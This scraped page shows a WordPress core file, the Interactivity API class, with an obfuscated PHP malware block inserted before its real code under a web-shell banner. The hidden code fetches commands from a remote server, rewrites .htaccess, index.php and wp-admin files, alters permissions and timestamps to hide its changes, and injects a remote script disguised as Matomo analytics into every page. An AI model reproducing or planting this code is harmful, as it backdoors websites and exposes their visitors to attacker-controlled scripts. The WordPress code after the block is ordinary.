AlkantarClanX12
Your IP : 3.136.22.184
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
* Interactivity API: WP_Interactivity_API class.
*
* @package WordPress
* @subpackage Interactivity API
* @since 6.5.0
*/
/**
* Class used to process the Interactivity API on the server.
*
* @since 6.5.0
*/
final class WP_Interactivity_API {
/**
* Holds the mapping of directive attribute names to their processor methods.
*
* @since 6.5.0
* @var array
*/
private static $directive_processors = array(
'data-wp-interactive' => 'data_wp_interactive_processor',
'data-wp-router-region' => 'data_wp_router_region_processor',
'data-wp-context' => 'data_wp_context_processor',
'data-wp-bind' => 'data_wp_bind_processor',
'data-wp-class' => 'data_wp_class_processor',
'data-wp-style' => 'data_wp_style_processor',
'data-wp-text' => 'data_wp_text_processor',
/*
* `data-wp-each` needs to be processed in the last place because it moves
* the cursor to the end of the processed items to prevent them to be
* processed twice.
*/
'data-wp-each' => 'data_wp_each_processor',
);
/**
* Holds the initial state of the different Interactivity API stores.
*
* This state is used during the server directive processing. Then, it is
* serialized and sent to the client as part of the interactivity data to be
* recovered during the hydration of the client interactivity stores.
*
* @since 6.5.0
* @var array
*/
private $state_data = array();
/**
* Holds the configuration required by the different Interactivity API stores.
*
* This configuration is serialized and sent to the client as part of the
* interactivity data and can be accessed by the client interactivity stores.
*
* @since 6.5.0
* @var array
*/
private $config_data = array();
/**
* Flag that indicates whether the `data-wp-router-region` directive has
* been found in the HTML and processed.
*
* The value is saved in a private property of the WP_Interactivity_API
* instance instead of using a static variable inside the processor
* function, which would hold the same value for all instances
* independently of whether they have processed any
* `data-wp-router-region` directive or not.
*
* @since 6.5.0
* @var bool
*/
private $has_processed_router_region = false;
/**
* Stack of namespaces defined by `data-wp-interactive` directives, in
* the order they are processed.
*
* This is only available during directive processing, otherwise it is `null`.
*
* @since 6.6.0
* @var array<string>|null
*/
private $namespace_stack = null;
/**
* Stack of contexts defined by `data-wp-context` directives, in
* the order they are processed.
*
* This is only available during directive processing, otherwise it is `null`.
*
* @since 6.6.0
* @var array<array<mixed>>|null
*/
private $context_stack = null;
/**
* Gets and/or sets the initial state of an Interactivity API store for a
* given namespace.
*
* If state for that store namespace already exists, it merges the new
* provided state with the existing one.
*
* When no namespace is specified, it returns the state defined for the
* current value in the internal namespace stack during a `process_directives` call.
*
* @since 6.5.0
* @since 6.6.0 The `$store_namespace` param is optional.
*
* @param string $store_namespace Optional. The unique store namespace identifier.
* @param array $state Optional. The array that will be merged with the existing state for the specified
* store namespace.
* @return array The current state for the specified store namespace. This will be the updated state if a $state
* argument was provided.
*/
public function state( ?string $store_namespace = null, ?array $state = null ): array {
if ( ! $store_namespace ) {
if ( $state ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace is required when state data is passed.' ),
'6.6.0'
);
return array();
}
if ( null !== $store_namespace ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace should be a non-empty string.' ),
'6.6.0'
);
return array();
}
if ( null === $this->namespace_stack ) {
_doing_it_wrong(
__METHOD__,
__( 'The namespace can only be omitted during directive processing.' ),
'6.6.0'
);
return array();
}
$store_namespace = end( $this->namespace_stack );
}
if ( ! isset( $this->state_data[ $store_namespace ] ) ) {
$this->state_data[ $store_namespace ] = array();
}
if ( is_array( $state ) ) {
$this->state_data[ $store_namespace ] = array_replace_recursive(
$this->state_data[ $store_namespace ],
$state
);
}
return $this->state_data[ $store_namespace ];
}
/**
* Gets and/or sets the configuration of the Interactivity API for a given
* store namespace.
*
* If configuration for that store namespace exists, it merges the new
* provided configuration with the existing one.
*
* @since 6.5.0
*
* @param string $store_namespace The unique store namespace identifier.
* @param array $config Optional. The array that will be merged with the existing configuration for the
* specified store namespace.
* @return array The configuration for the specified store namespace. This will be the updated configuration if a
* $config argument was provided.
*/
public function config( string $store_namespace, array $config = array() ): array {
if ( ! isset( $this->config_data[ $store_namespace ] ) ) {
$this->config_data[ $store_namespace ] = array();
}
if ( is_array( $config ) ) {
$this->config_data[ $store_namespace ] = array_replace_recursive(
$this->config_data[ $store_namespace ],
$config
);
}
return $this->config_data[ $store_namespace ];
}
/**
* Prints the serialized client-side interactivity data.
*
* Encodes the config and initial state into JSON and prints them inside a
* script tag of type "application/json". Once in the browser, the state will
* be parsed and used to hydrate the client-side interactivity stores and the
* configuration will be available using a `getConfig` utility.
*
* @since 6.5.0
*/
public function print_client_interactivity_data() {
if ( empty( $this->state_data ) && empty( $this->config_data ) ) {
return;
}
$interactivity_data = array();
$config = array();
foreach ( $this->config_data as $key => $value ) {
if ( ! empty( $value ) ) {
$config[ $key ] = $value;
}
}
if ( ! empty( $config ) ) {
$interactivity_data['config'] = $config;
}
$state = array();
foreach ( $this->state_data as $key => $value ) {
if ( ! empty( $value ) ) {
$state[ $key ] = $value;
}
}
if ( ! empty( $state ) ) {
$interactivity_data['state'] = $state;
}
if ( ! empty( $interactivity_data ) ) {
/*
* This data will be printed as JSON inside a script tag like this:
* <script type="application/json"></script>
*
* A script tag must be closed by a sequence beginning with `</`. It's impossible to
* close a script tag without using `<`. We ensure that `<` is escaped and `/` can
* remain unescaped, so `</script>` will be printed as `\u003C/script\u00E3`.
*
* - JSON_HEX_TAG: All < and > are converted to \u003C and \u003E.
* - JSON_UNESCAPED_SLASHES: Don't escape /.
*
* If the page will use UTF-8 encoding, it's safe to print unescaped unicode:
*
* - JSON_UNESCAPED_UNICODE: Encode multibyte Unicode characters literally (instead of as `\uXXXX`).
* - JSON_UNESCAPED_LINE_TERMINATORS: The line terminators are kept unescaped when
* JSON_UNESCAPED_UNICODE is supplied. It uses the same behaviour as it was
* before PHP 7.1 without this constant. Available as of PHP 7.1.0.
*
* The JSON specification requires encoding in UTF-8, so if the generated HTML page
* is not encoded in UTF-8 then it's not safe to include those literals. They must
* be escaped to avoid encoding issues.
*
* @see https://www.rfc-editor.org/rfc/rfc8259.html for details on encoding requirements.
* @see https://www.php.net/manual/en/json.constants.php for details on these constants.
* @see https://html.spec.whatwg.org/#script-data-state for details on script tag parsing.
*/
$json_encode_flags = JSON_HEX_TAG | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_TERMINATORS;
if ( ! is_utf8_charset() ) {
$json_encode_flags = JSON_HEX_TAG | JSON_UNESCAPED_SLASHES;
}
wp_print_inline_script_tag(
wp_json_encode(
$interactivity_data,
$json_encode_flags
),
array(
'type' => 'application/json',
